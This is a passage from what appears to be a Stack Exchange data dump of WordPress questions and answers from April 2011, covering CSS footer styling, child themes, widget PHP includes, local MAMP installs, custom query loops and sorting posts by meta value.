  <row Id="15817" PostTypeId="1" AcceptedAnswerId="15818" CreationDate="2011-04-28T10:54:37.463" Score="-1" ViewCount="97" Body="&lt;p&gt;I have been trying to tweak my CSS but keep messing things up.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Issue:&lt;/strong&gt;&#xA;If you refer to the &lt;a href=&quot;http://www.dekho.com.au&quot; rel=&quot;nofollow&quot;&gt;homepage&lt;/a&gt; of the v3.1.2 site im building, scroll down to the footer:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/OJDDG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Footer Links display in grey.&lt;/strong&gt;  &lt;strong&gt;I want them to display in white. and when you hover over them, they go orange/underlined.&lt;/strong&gt;&lt;br&gt;&#xA;- I can see which CSS line to change, but then this also affects the colour of links in my sidebar and elsewhere on the site.&lt;br&gt;&#xA;- My Boldy theme has the option to use Cufon fonts (which I am).  Does this restrict what I want to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I imagine I need to create a new CSS class just for the footer text?  I am still trying to get my head around CSS, and this sounds like an easy task, but not been able to suss it.&lt;/p&gt;&#xA;" OwnerUserId="4280" LastActivityDate="2011-04-28T11:02:30.530" ClosedDate="2011-04-28T19:53:19.960" Title="Style Footer text links with CSS" Tags="&lt;css&gt;" AnswerCount="1" CommentCount="7" />
  <row Id="15818" PostTypeId="2" ParentId="15817" CreationDate="2011-04-28T11:02:30.530" Score="1" ViewCount="" Body="&lt;p&gt;add &lt;code&gt;min-height: 40px;&lt;/code&gt; to line 60 of your &lt;code&gt;style.css&lt;/code&gt; will sort out the alignment&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#footerWidgetsInner h2 a, div#copyright a{&#xA;color: #fff;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for your h2 and footer colours.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-04-28T11:02:30.530" CommentCount="2" />
  <row Id="15819" PostTypeId="1" AcceptedAnswerId="15836" CreationDate="2011-04-28T11:32:44.137" Score="0" ViewCount="72" Body="&lt;p&gt;I'm creating a parent theme and several child themes. But how can I prevent the parent theme from ever being used?&lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2011-04-28T13:13:05.670" Title="Child themes: disabling the parent" Tags="&lt;theme-development&gt;&lt;child-theme&gt;&lt;parent-theme&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="15820" PostTypeId="1" AcceptedAnswerId="15879" CreationDate="2011-04-28T11:36:10.827" Score="1" ViewCount="97" Body="&lt;p&gt;I have a bunch of widgets that I load from php files, like so: &lt;br&gt;&#xA;I added a PHP CODE widget and inside wrote:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include '/wp-content/themes/myTheme/parts/block1.php';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This worked well on my localhost, but for some reason it stopped working &lt;br&gt;&#xA;when I uploaded that website online (and switched the home and site_url of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3642" LastActivityDate="2011-04-28T21:04:52.623" Title="Including PHP files doesn't work outside of Localhost" Tags="&lt;widgets&gt;" AnswerCount="3" />
  <row Id="15821" PostTypeId="1" CreationDate="2011-04-28T11:38:28.863" Score="2" ViewCount="412" Body="&lt;p&gt;I'm using three widgets, two of them are default WP widgets (Recent Posts and Archives) and the third one is a custom widget which acts like Recent Posts but for a specific custom Post Type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how can I make the widget titles clickable links? It seems that WordPress does not accept HTML in the title field and automatically removes it. Ideally I don't want to do this with a plugin even though I know the likes of &lt;a href=&quot;http://wordpress.org/extend/plugins/linkable-title-html-and-php-widget/&quot; rel=&quot;nofollow&quot;&gt;Linkable Title HTML and PHP Widget exist&lt;/a&gt;. It isn't really what I'm after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code for the custom widget I have so far can be seen here: &lt;a href=&quot;http://pastie.org/1847651&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/1847651&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4962" LastEditorUserId="4962" LastEditorDisplayName="" LastEditDate="2011-04-29T15:50:03.517" LastActivityDate="2011-08-11T22:03:43.337" Title="How can I add links to widget titles?" Tags="&lt;widgets&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="15822" PostTypeId="2" ParentId="15772" CreationDate="2011-04-28T11:43:11.100" Score="1" ViewCount="" Body="&lt;p&gt;The easiest way is to use the &lt;a href=&quot;http://wordpress.org/extend/plugins/cache-images/&quot; rel=&quot;nofollow&quot;&gt;Cache Image plugin&lt;/a&gt;, which 'sideloads' images in your posts that are from other domains. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had mixed results,  mainly because it seems to not work well for thousands of posts and images - if your site is smaller you may have better results.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-28T11:43:11.100" CommentCount="2" />
  <row Id="15823" PostTypeId="1" AcceptedAnswerId="15826" CreationDate="2011-04-28T12:00:50.177" Score="1" ViewCount="103" Body="&lt;p&gt;I'm working on a new WP site. The WordPress installation has already been done on a live server by the ISP and now I need to skin it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if I should bring the site down to my local machine and work off that. Having to upload constantly would be rather annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a little concerned that I will screw soemthing up. Or... that, even if the local installation goes smoothly, when I re-upload to the live server there will be some conflicts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what exactly are the steps once I've downloaded everything into a localhost folder?...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;create a database in phpMyAdmin?&#xA;Do I go to wp-config.php in  my browser?&lt;br&gt;&#xA;What other files would need to be modified?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will be using MAMP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very hazy on the database side of things!  Is there any danger that my databse setting would interfere with the live installation?  e.g Do they have to have the same name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just don't want to have to approach the ISP guys if I mess up their installation!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4867" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T13:53:24.583" LastActivityDate="2011-04-28T13:53:24.583" Title="Installing WordPress locally" Tags="&lt;theme-development&gt;&lt;localhost&gt;" AnswerCount="4" CommentCount="0" />
  <row Id="15824" PostTypeId="2" ParentId="15823" CreationDate="2011-04-28T12:10:36.073" Score="0" ViewCount="" Body="&lt;p&gt;The Codex has some instructions for &lt;a href=&quot;http://codex.wordpress.org/Installing_WordPress_Locally_on_Your_Mac_With_MAMP&quot; rel=&quot;nofollow&quot;&gt;MAMP and WordPress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some general notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure you use some kind of version control (SVN, git or Mercurial)&lt;/li&gt;&#xA;&lt;li&gt;I generally use the same database name, but do change the password, for security&lt;/li&gt;&#xA;&lt;li&gt;Take a copy of the production site and the production database&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the WP_HOME and WP_SITEURL defines in your wp-config.php to set your local testing domain: I will typically have the following 2 lines in my wp-config.php, which mean I can take a database dump from production without needing to change (mostly) URLs contained in it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define(’WP_HOME’,'http://sitename.local’);&#xA;define(’WP_SITEURL’,'http://sitename.local’);&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you're just skinning, then you should have no need to move your local database to production - you'll just be working in a theme.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Did I mention using version control? The reassurance you'll have knowing you'll always be able to revert to previous working versions of code is essential - I find it hard to do &lt;em&gt;any&lt;/em&gt; development without having my files in git. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-04-28T12:33:51.990" LastActivityDate="2011-04-28T12:33:51.990" />
  <row Id="15825" PostTypeId="2" ParentId="15823" CreationDate="2011-04-28T12:14:27.163" Score="0" ViewCount="" Body="&lt;p&gt;I'll share one or two things that have made my local development of WordPress sites make a smooth transition to a live server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is to have common database names, usernames, and passwords between your local and remote servers.  There are fewer config settings to change when you move between them and fewer lines to modify in  your sql import/export files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, I would remove any unused theme folders from your install to reduce the size of beast you'll be moving.  The same concern exists for images.  Is this an existing site with an entire media library?  Or can you work with a slimmed down version of it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, read this article about moving WordPress published on the Codex. &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Moving_WordPress&lt;/a&gt;.  It will tell you everything you need to know about site names and the process of moving the installation.  It focuses mostly on moving from one host to another and moving an install around on a server, but it might help familiarize you with possible issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fourth, My experience of local development was IMMENSELY eased after I &lt;a href=&quot;http://hginit.com/&quot; rel=&quot;nofollow&quot;&gt;learned Mercurial&lt;/a&gt; and used it to track and activate changes in the code.  It's a small endeavor, but it's changed the way I code. &lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2011-04-28T12:14:27.163" CommentCount="3" />
  <row Id="15826" PostTypeId="2" ParentId="15823" CreationDate="2011-04-28T12:22:09.343" Score="1" ViewCount="" Body="&lt;p&gt;If the other answers make sense I apologise for how patronising my answer must sound - but if they don't make sense perhaps my N00B style answer will :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't mess up the installation of wordpress on your live server if you are simply developing a theme on the localhost installation (a skin is known as a theme when it comes to wordpress)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have developed the theme on localhost you then Zip the theme up and upload it through the themes management menu in your live wordpress installation. There are other ways to do it, but I find this way far easier and less prone to user errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT - you don't do it by downloading everything from your live site to localhost&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try reading this page &lt;a href=&quot;http://codex.wordpress.org/Installing_WordPress_Locally_on_Your_Mac_With_MAMP&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Installing_WordPress_Locally_on_Your_Mac_With_MAMP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or google &quot;&lt;strong&gt;&lt;em&gt;install wordpress locally MAMP&lt;/em&gt;&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should walk you through the steps to install it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating the theme you want - that's a whole other kettle of fish, but again try using google to look for some tutorials to help you walk through it - or find a theme that you love that someone else has already created&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps even if only a little&lt;/p&gt;&#xA;" OwnerUserId="4871" LastActivityDate="2011-04-28T12:22:09.343" CommentCount="2" />
  <row Id="15827" PostTypeId="2" ParentId="15823" CreationDate="2011-04-28T12:22:48.797" Score="0" ViewCount="" Body="&lt;p&gt;One thing that can help is to set up your local test environment as closely as possible to the production environment (same domain name, database name/login, etc). Use your &lt;code&gt;hosts&lt;/code&gt; file to switch between your development environment and production. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a Mac utility named &lt;a href=&quot;http://www.redwinder.com/macapp/hoster/&quot; rel=&quot;nofollow&quot;&gt;Hoster&lt;/a&gt; to help manage switching the hosts entries. With it, I can create 'dev' and 'qa' settings groups, so that when I enable 'dev', then 'foo.example.com' points to my local development environment, or I can switch that off and enable 'qa' to point to our Quality Assurance testing box. Or I turn them both off to let normal DNS take over and get to the production machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main tricky thing is remembering to enable the entries at the right times, and keeping in mind that your machine might take a minute to recognize a change to the hosts entries. In the case of my work, we have some extra code set up so that when we view our dev or qa sites, a red box is overlayed on the web pages telling us that we are viewing either the 'dev' or 'qa' site. I'll have to see if I can whip up a plugin for that (the sites we do this on are not WP).&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-04-28T12:22:48.797" />
  <row Id="15829" PostTypeId="2" ParentId="15820" CreationDate="2011-04-28T12:23:45.653" Score="1" ViewCount="" Body="&lt;p&gt;I've had similar problems.  You may want to use the built in WordPress constants:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include WP_CONTENT_URL.'/themes/myTheme/parts/block1.php';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-04-28T12:23:45.653" />
  <row Id="15830" PostTypeId="2" ParentId="15821" CreationDate="2011-04-28T12:25:44.830" Score="0" ViewCount="" Body="&lt;p&gt;If the default widgets don't offer the functionality you are after, specifically allowing custom links on titles, you might best be served by writing your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://justintadlock.com/archives/2009/05/26/the-complete-guide-to-creating-widgets-in-wordpress-28&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2009/05/26/the-complete-guide-to-creating-widgets-in-wordpress-28&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://churchco.de/the-complete-guide-to-writing-a-wordpress-widget/&quot; rel=&quot;nofollow&quot;&gt;http://churchco.de/the-complete-guide-to-writing-a-wordpress-widget/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This usually takes the form of writing a plugin that adds custom widgets to the widget screen.  Making a small adjustment to an existing widget is as simple as copying the code to the original and including it in your modified way in a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Default widgets are located in wp-includes/default-widgets.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&#xA;If you aren't familiar with WordPress code, you need to decide if you want to become more familiar.  If so, you need to add a field to the widget form that allows the user to enter the link address, and you need to edit the widget code to insert the link when the widget code outputs the title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to become familiar, then I believe, you're out of luck.  Widgets don't come with the ability to modify their capabilities without modifying the WordPress code.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditorDisplayName="" LastEditDate="2011-04-28T13:57:20.670" LastActivityDate="2011-04-28T13:57:20.670" CommentCount="1" />
  <row Id="15831" PostTypeId="2" ParentId="15820" CreationDate="2011-04-28T12:35:58.067" Score="0" ViewCount="" Body="&lt;p&gt;I included the file product-menu.php by using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_template_part( 'product-menu'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I thought I'd put a code into the top of it to mark it as being the product menu - but turns out that I didn't &lt;/p&gt;&#xA;" OwnerUserId="4871" LastActivityDate="2011-04-28T12:35:58.067" />
  <row Id="15832" PostTypeId="2" ParentId="15819" CreationDate="2011-04-28T12:42:13.583" Score="1" ViewCount="" Body="&lt;p&gt;would - by ensuring the child theme had all the same template pages as the parent and by not including the @import of the parent css - be too dumb of an answer?&lt;/p&gt;&#xA;" OwnerUserId="4871" LastActivityDate="2011-04-28T12:42:13.583" CommentCount="2" />
  <row Id="15833" PostTypeId="1" AcceptedAnswerId="15858" CreationDate="2011-04-28T12:43:03.443" Score="0" ViewCount="116" Body="&lt;p&gt;I have this code and all the vars pull in but the latest news is not showing up and the subscribe link is not dropping anything. any ideas? Everything else works like a charm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;?php get_sidebar('field'); ?&amp;gt;&#xA;    &amp;lt;?php&#xA;    global $current_user;&#xA;    get_currentuserinfo();&#xA;    $user_info = get_userdata($current_user-&amp;gt;ID);&#xA;&#xA;    if ( have_posts() &amp;amp;&amp;amp; $user_info-&amp;gt;user_level != 0) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php // get custom fields&#xA;    $wt_email = get_post_meta($post-&amp;gt;ID, 'wt_email', true);&#xA;    $wt_feed = get_post_meta($post-&amp;gt;ID, 'wt_website', true);&#xA;    $wt_facebook = get_post_meta($post-&amp;gt;ID, 'wt_facebook', true);&#xA;    $wt_twitter = get_post_meta($post-&amp;gt;ID, 'wt_twitter', true);&#xA;    $wt_linkedin = get_post_meta($post-&amp;gt;ID, 'wt_linkedin', true);&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;    &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;div class=&quot;body&quot;&amp;gt;&#xA;    &amp;lt;?php the_content(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;share&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;links&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;Links&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;?php if($wt_twitter) { ?&amp;gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://&amp;lt;?php print $wt_twitter; ?&amp;gt;&quot;&amp;gt;Twitter&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;                &amp;lt;?php if($wt_facebook) { ?&amp;gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://&amp;lt;?php print $wt_facebook; ?&amp;gt;&quot;&amp;gt;Facebook&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;                &amp;lt;?php if($wt_email) { ?&amp;gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;mailto:&amp;lt;?php print $wt_email; ?&amp;gt;&quot;&amp;gt;Email&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;                &amp;lt;?php if($wt_linkedin) { ?&amp;gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://&amp;lt;?php print $wt_linkedin; ?&amp;gt;&quot;&amp;gt;Website&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; // End the loop. Whew. ?&amp;gt;&#xA;            &amp;lt;div class=&quot;news&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;Latest News&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;ul&amp;gt;&#xA;                    &amp;lt;?php&#xA;                // The Query&#xA;                $loop = new WP_Query( array( &#xA;                    'category_name' =&amp;gt; $wt_feed, &#xA;                    'order' =&amp;gt; 'ASC', &#xA;                    'posts_per_page'=&amp;gt; 5&#xA;                ) );&#xA;&#xA;                // The Loop&#xA;                if( $loop-&amp;gt;have_posts() ) : while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post();&#xA;                    echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . the_permalink() . '&quot;&amp;gt;';&#xA;                        the_title(); &#xA;                    echo '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;                endwhile;&#xA;                endif;&#xA;&#xA;                // Reset Query&#xA;                wp_reset_query();&#xA;                ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;?php &#xA;            $args=array(&#xA;              'category_name'       =&amp;gt; $wt_feed,&#xA;              'type'                =&amp;gt; 'post'&#xA;              );&#xA;            $categories=get_categories($args);&#xA;&#xA;            if($wt_feed) { ?&amp;gt;&amp;lt;a href=&quot;/&amp;lt;?php print $categories-&amp;gt;slug; ?&amp;gt;/feed&quot; class=&quot;subscribe&quot;&amp;gt;Subscribe&amp;lt;/a&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;    &amp;lt;h1&amp;gt;Listing Private&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;div class=&quot;body&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;You need to have a Member account view the details of this list. Request an account membership.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output in compiled html for news section.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;news&quot;&amp;gt;&#xA;&amp;lt;h3&amp;gt;Latest News&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ul&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;a class=&quot;subscribe&quot;href=&quot;//feed&quot;&amp;gt;Subscribe&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastEditorUserId="197" LastEditorDisplayName="" LastEditDate="2011-04-29T13:26:51.307" LastActivityDate="2011-04-29T13:26:51.307" Title="Loops for cat links not looping for wordpress site" Tags="&lt;loop&gt;&lt;query&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="15834" PostTypeId="1" CreationDate="2011-04-28T12:48:48.087" Score="0" ViewCount="101" Body="&lt;p&gt;Can anyone help me create a groups drop-down search &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;lt;form method=&amp;quot;get&amp;quot; id=&amp;quot;searchform&amp;quot; action=&amp;quot;&amp;quot; class=&amp;quot;search-form&amp;quot;&amp;gt;&lt;br /&gt;&#xA;  &amp;lt;select name=&amp;quot;group&amp;quot;&amp;gt;&lt;br /&gt;&#xA;  &amp;lt;?php&lt;br /&gt;&#xA;  $groups = bp_get_group();&lt;br /&gt;&#xA;  foreach ($groups as $group){ ?&amp;gt;&lt;br /&gt;&#xA;  &amp;lt;option value=&amp;quot;&amp;lt;?php echo $group-&amp;gt;group_ID; ?&amp;gt;&amp;quot; &amp;lt;?php if($group-&amp;gt;group_ID == 3) echo 'selected=&amp;quot;selected&amp;quot;'; ?&amp;gt;&amp;gt;&amp;lt;?php echo bp_get_group_name() ?&amp;gt;&amp;lt;/option&amp;gt;&lt;br /&gt;&#xA;  &amp;lt;?php&lt;br /&gt;&#xA;  }&lt;br /&gt;&#xA;  ?&amp;gt;&lt;br /&gt;&#xA;  &amp;lt;/select&amp;gt;&lt;br /&gt;&#xA;  &amp;lt;input class=&amp;quot;submitsearch button&amp;quot; type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; value=&amp;quot;Search&amp;quot; /&amp;gt;&lt;br /&gt;&#xA;  &amp;lt;/form&amp;gt;&lt;/p&gt;&#xA;" OwnerUserId="4964" LastActivityDate="2011-05-08T18:02:18.933" Title="Buddypress Groups Dropdown List Search Bar" Tags="&lt;buddypress&gt;" AnswerCount="0" CommentCount="2" />
  <row Id="15835" PostTypeId="1" CreationDate="2011-04-28T10:46:55.527" Score="0" ViewCount="58" Body="&lt;p&gt;Does anybody know good WordPress line chart plug in? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/12493/graphing-libraries-for-wordpress&quot;&gt;Related&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-27T19:56:07.913" LastActivityDate="2011-08-27T19:56:07.913" Title="WordPress line chart Plug in" Tags="&lt;plugin-recommendation&gt;" AnswerCount="2" />
  <row Id="15836" PostTypeId="2" ParentId="15819" CreationDate="2011-04-28T13:05:20.783" Score="2" ViewCount="" Body="&lt;p&gt;Not using the current system. In order to serve as a valid Template for a Child Theme, the Parent Theme must exist, and be a valid Theme. That's because the Parent Theme's template files must be accessible via &lt;code&gt;locate_template()&lt;/code&gt;, in order for the Child-Parent fallback to work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: if &lt;a href=&quot;http://core.trac.wordpress.org/ticket/13239&quot; rel=&quot;nofollow&quot;&gt;this core Trac ticket&lt;/a&gt; is implemented, then you'll be able to filter &lt;code&gt;locate_template()&lt;/code&gt;, which would conceivably enable you to put your Parent Theme in a separate location, not accessible by &lt;code&gt;Dashboard -&amp;gt; Appearance -&amp;gt; Themes&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-28T13:05:20.783" />
  <row Id="15837" PostTypeId="2" ParentId="15819" CreationDate="2011-04-28T13:13:05.670" Score="1" ViewCount="" Body="&lt;p&gt;You can't hide the theme itself, but you can control access to the theme switcher:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#switch_themes&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Roles_and_Capabilities#switch_themes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-28T13:13:05.670" />
  <row Id="15838" PostTypeId="2" ParentId="15815" CreationDate="2011-04-28T13:24:16.887" Score="1" ViewCount="" Body="&lt;p&gt;Here's what I think is causing the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts($query_string . '&amp;amp;cat=-98, 101, 102'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts($query_string . '&amp;amp;cat=-98,-101,-102'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The way it is now, it's telling WordPress re-run the old query, but give me nothing from category 98, AND only pull posts from categories 101 and 102. I'm guessing you want it to be re-running the original query, leaving out 98, 101, and 102.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-28T13:24:16.887" CommentCount="3" />
  <row Id="15839" PostTypeId="1" CreationDate="2011-04-28T07:52:54.420" Score="0" ViewCount="429" Body="&lt;p&gt;how in WordPress can I sort by meta value?&#xA;In meta value I have &quot;price&quot; (float).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I make this query, but always get &quot;Sorry, no posts matched your criteria&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = query_posts( $query_string . '&amp;amp;orderby=meta_value_num&amp;amp;meta_key=Notes&amp;amp;meta_value_num=price&amp;amp;order=ASC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;meta_value value:&#xA;&quot;a:6:{s:5:&quot;width&quot;;s:3:&quot;580&quot;;s:6:&quot;&lt;strong&gt;price&lt;/strong&gt;&quot;;s:3:&quot;99&quot;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T13:59:50.127" LastActivityDate="2011-04-29T01:24:41.147" Title="WordPress how to sort by meta value?" Tags="&lt;query-posts&gt;&lt;post-meta&gt;" AnswerCount="2" />
  <row Id="15840" PostTypeId="1" CreationDate="2011-04-28T13:49:37.080" Score="1" ViewCount="281" Body="&lt;p&gt;I'm developing a site for a client and am using the blog part of WordPress for her portfolio. I've also created a couple of page templates to list here workshops and current projects and used Custom Post Types to enable her to add content to these pages. It now looks strange to have her portfolio to be labelled as posts and I wondered whether this is easy to change without messing with the functionality of the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the navigation within the Wp backend to read:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Portfolio&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Workshops&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current Proejcts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then all the other links underneath.&lt;/p&gt;&#xA;" OwnerUserId="4965" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T13:52:16.800" LastActivityDate="2011-07-29T13:26:08.160" Title="Is there a way to change 'Posts' to be 'Portfolio' is the WP 